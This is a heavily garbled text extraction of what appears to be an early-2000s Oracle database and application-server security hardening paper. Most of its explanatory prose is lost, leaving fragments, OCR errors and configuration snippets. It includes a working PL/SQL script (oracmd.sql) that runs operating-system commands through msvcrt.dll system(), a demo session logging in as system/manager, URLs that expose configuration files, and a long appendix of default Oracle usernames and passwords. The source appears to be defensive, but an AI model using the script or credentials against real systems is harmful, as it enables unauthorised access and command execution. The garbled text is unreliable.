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PL/SQL Authentication By-pass(PL/SQL )
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PL/SQL Cross-site scripting vulnerabilities.(ByPL/SQL )

htp PL/SQL HTML HTML
cross-site
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JSP Translation Files(JSP )
JSP java
Jjava .class
/ Jjava
IDs 3
“ [foo.jsp”
_foo$jsp_StaticText.class
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“ | _pages” web foo.jsp “ bar”
“ Ibar/foo.jsp” “ _bar” 3 “ _pages”
http://download-west.oracle.com/otndoc/oracle9i/901_doc/java.901/a90208/trandepl.htm
httpd.conf

<Location /_pages>
Order deny,allow
Deny from all
</Location>

, JSP ( “ htdocs” )

<Location /dirname/_pages>
Order deny,allow
Deny from all
</Location>
* dirname”

JSP Global.jsa Access(JSP Global.jsa )

JSP JSP application's globals.jsa
IDs JSP
globals.jsa httpd.conf
<Files ~ "Mglobals.jsa">
Order allow,deny
Deny from all
</Files>

JSP SQL Poisoning(JSP SQL )

SQL
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Oracle UNION SELECT

JSP Physical Path Mapping(JSP )
JSP java FileNotFoundException
JSP

XSQL
XSQL $/xsql/lib/XSQLConfig.xml

403
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http://oracleserver/servlet/oracle.xml.xsgl. XSQLServlet/xsql/lib/XSQLConfig.xml

XSQL SQL Poisoning(XSQL SQL )

xsql SQL
<?xml version="1.0"?>
<xsgl:query connection="demo" xmIns:xsgl="urn:oracle-xsql">
SELECT * FROM USERS_TABLE WHERE NAME = ‘{@name}'
</xsql:query>
file.xsql
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XSQL Style Sheets(XSQL )
XSQL XML
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SOAP Application Deployment( )
Oracle 9IAS 1.0.2.2.1 Oracle SOAP
SOAP

http://oracleserver/soap/servlet/soaprouter
http://technet.oracle.com/deploy/security/pdf/ias_soap_alert.pdf
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soapConfig.xml
XSQLServlet
http://oracleserver/soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml
http://oracleserver/servlet/oracle.xml.xsgl. XSQLServlet/soapdocs/webapps/soap/WEB-
INF/config/soapConfig.xml

DEFAULTS( )

Oracle Apache Dynamic Monitoring Services( )
httpd.conf

Dynamic Monitoring Services
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http://oracleserver/serviet/ DMSDump
http://oracleserver/serviet/Spy
http://oracleserver/soap/serviet/Spy
http://oracleserver/dms/AggreSpy

Oracle Java Process Manager
http://oracleserver/oprocmgr-status
http://oracleserver/oprocmgr-service (currently broken)

Perl Alias(Perl )

Oracle “ Iperl” “ [cgi-bin”
“ Iperl” apache
“ [cgi-bin” “ Iperl”
httpd.conf Iperl perl

SAMPLES( )

Dangerous Samples( )

Oracle
http://oracleserver/demo/email/sendmail.jsp

SQL
http://oracleserver/demo/basic/info/info.jsp
“ [cgi-bin/printenv”  “ [fcgi-bin/echo”

“ [fcgi-bin/echo2”

web
The TNS Listener(TNS )
TNS Transparent Network Substrate Oracle Listener

Listener TCP1521 TCP



Oracle

(MTS)
Listener Security Issues( )
Covert Labs of Network Associates
Metalink These aside out of the box,
EXTPROC and External Procedures(EXTPROC )
PL/SQL PL/SQL
oracle

oracle Unix extproc Windows extproc.exed

Oracle extproc
Extproc

Oracle DLL
socket
TCP extproc exploit
windows msvcrt.dll system() unix

libc exec() system()

oracle Unix “ oracle”
Windows NT/2000
1521
web web
Metalink
IP “ valid
node checking( ) $ORACLE_HOME\network\admin
sglnet.ora
tcp.validnode_checking = YES
tcp.invited_nodes = (10.1.1.2, scylla)
10.1.1.2 scylla
TCP
1521
TCP
Windows NT/2000 Oracle
SYSTEM oracle "Logon as
a service"
Oracle Database Security(Oracle )
2 PL/SQL
PL/SQL External Procedures(PL/SQL )
oracle CREATE
LIBRARY internal account sys system ctxsys mtxsys
oracle
PL/SQL sql
Rem
Rem oracmd.sql
Rem
Rem Run system commands via Oracle database servers
Rem

Rem Bugs to david@ngssoftware.com
Rem



CREATE OR REPLACE LIBRARY exec_shell AS
‘C:\winnt\system32\msvcrt.dll';

/

show errors

CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);

end oracmd;

/

show errors

CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)

IS EXTERNAL

NAME "system" LIBRARY exec_shell
LANGUAGE C;

end oracmd;

/

show errors

C:\>sqlplus /nolog

SQL*Plus: Release 8.1.7.0.0 - Production on Thu Jun 7 14:25:38 2001
(c) Copyright 2000 Oracle Corporation. All rights reserved.
SQL> connect system/manager@orcl

Connected.

SQL> @c:\oracmd.sql

Library created.

No errors.

Package created.

No errors.

Package body created.

No errors.

SQL>

SQL> exec oracmd.exec (‘dir > c:\oracle.txt);

Default User Logins and Passwords( )
Oracle
id Oracle
160
Oracle
Conclusion( )
Oracle Oracle
O’ Reilly Oracle Security (http://oracle.oreilly.com)Pentest
(http://www.pentest-limited.com) Pete Finnigan Oracle
oracle

http://technet.oracle.com/deploy/security/alerts.htm
NGSSoftware OraScan Oracle web Oracle

NGSSoftware
http://www.ngssoftware.com/

Appendix A — Default Oracle UserlDs and Passwords( A)
SYS CHANGE_ON_INSTALL
SYSTEM MANAGER
AQJAVA  AQJAVA
AQ AQ
CIDS CIDS
SYMPA SYMPA
LIBRARIAN SHELVES
PANAMA PANAMA
FROSTY SNOWMAN
STARTER STARTER
DES DES
DBl MUMBLEFRATZ
HLW HLW
TRAVEL TRAVEL



HCPARK HCPARK
ULTIMATE ULTIMATE
REP_MANAGER DEMO
REP_OWNER DEMO

OWA OWA

IMAGEUSER IMAGEUSER
MIGRATE MIGRATE
OPENSPIRIT OPENSPIRIT

ODS ODS
ODSCOMMON ODSCOMMON
OE OE

OLAPDBA OLAPDBA
OLAPSVR OLAPSVR
OLAPSYS OLAPSYS
ORACACHE ORACACHE

PM PM

PO7 PO7

PORTAL30 PORTAL30
PORTAL30 DEMO PORTAL30_DEMO
PORTAL30_PUBLIC PORTAL30_PUBLIC
PORTAL30_SSO PORTAL30_SSO
PORTAL30_SSO_PSPORTAL30_SSO_PS
PORTAL30_SSO_PUBLIC PORTAL30_SSO_PUBLIC
Qs QS

QS_ADM QS_ADM

QS_CB QS_CB
QS_CBADM QS_CBADM
QS_CS QS_CS

QS_ES QS_ES

QS_os QS_0s

QS_WS QS_WS

SH SH

UTLBSTATU UTLESTAT
VIRUSER  VIRUSER

WKSYS WKSYS

USER1 USER1

USER2 USER2

USER3 USER3

USER4 USER4

USER5 USER5

USER6 USER6

USERS8 USERS

USER9 USER9

USER USER
APPLSYSPUB PUB

SLIDE SLIDEPW

HR HR

JMUSER JMUSER
OWA_PUBLIC OWA_PUBLIC
CQSCHEMAUSER PASSWORD
WEBCALO1 WEBCALO1

cis ZWERG

CISINFO ZWERG

MASTER PASSWORD
SYSADM SYSADM
ESTOREUSER ESTORE
SYSMAN OEM_TEMP
COMPIERE COMPIERE
osP22 osP22

PLSQL SUPERSECRET
PATROL PATROL
SITEMINDER ~ SITEMINDER
REP_OWNER REP_OWNER
EJSADMIN EJSADMIN_PASSWORD
TURBINE TURBINE

ADMIN JETSPEED
OAS_PUBLIC OAS_PUBLIC
INTERNAL ORACLE
CTXSYS CTXSYS

MDSYS MDSYS

SCOTT TIGER

APPLSYS APPLSYS



APPS APPS
SAP SAPR3

ADAMS WOOD
AQDEMO AQDEMO
AQUSER AQUSER
BLAKE PAPER
CATALOG CATALOG
CDEMO82 CDEMOS82
CDEMOCOR CDEMOCOR
CDEMOUCB CDEMOUCB
CDEMORID CDEMORID
CLARK CLOTH
COMPANY COMPANY
DBSNMP DBSNMP
DEMO DEMO

DEMOS DEMOS8

EMP EMP

EVENT EVENT
FINANCE  FINANCE

FND FND

GPFD GPFD

GPLD GPLD

JONES STEEL

MFG MFG

MILLER MILLER
MMO2 MMO2
MODTEST YES
MOREAU MOREAU
NAMES NAMES
MTSSYS MTSSYS
OCITEST OCITEST
ORDPLUGINS ORDPLUGINS
ORDSYS ORDSYS
OUTLN OUTLN

PO PO

PO8 PO8
POWERCARTUSER POWERCARTUSER
BC4J BC4J

PRIMARY  PRIMARY
PUBSUB PUBSUB

RE RE

RMAIL RMAIL

RMAN RMAN
MTS_USER MTS_PASSWORD
SAMPLE SAMPLE
IDEMO_USER !DEMO_USER
SECDEMO SECDEMO
TRACESVR TRACE
TESTPILOT TESTPILOT
TSDEV TSDEV
TSUSER TSUSER
VRR1 VRR1
MXAGENT MXAGENT
SDOS_ICSAP  SDOS_ICSAP
TDOS_ICSAP  TDOS_ICSAP
ORAREGSYS ORAREGSYS
CENTRA CENTRA
IMEDIA IMEDIA
OEMADM OEMADM
TAHITI TAHITI

CSMIG CSMIG
WEBDB WEBDB
WWW WWW
WWWUSER WWWUSER
WEBREAD WEBREAD
USERO USERO
LBACSYS LBACSYS
ADLDEMO ADLDEMO
PERSTAT PERSTAT
REPADMIN REPADMIN
VIF_DEVELOPER VIF_DEV_PWD
VIDEOUSER  VIDEOUSER



AUDIOUSER AUDIOUSER
AURORAS$ORB$UNAUTHENTICATED  invalid
OSE$HTTP$ADMIN invalid
AURORASJISSUTILITYS invalid

XPRT XPRT

STRAT_USER STRAT_PASSWD
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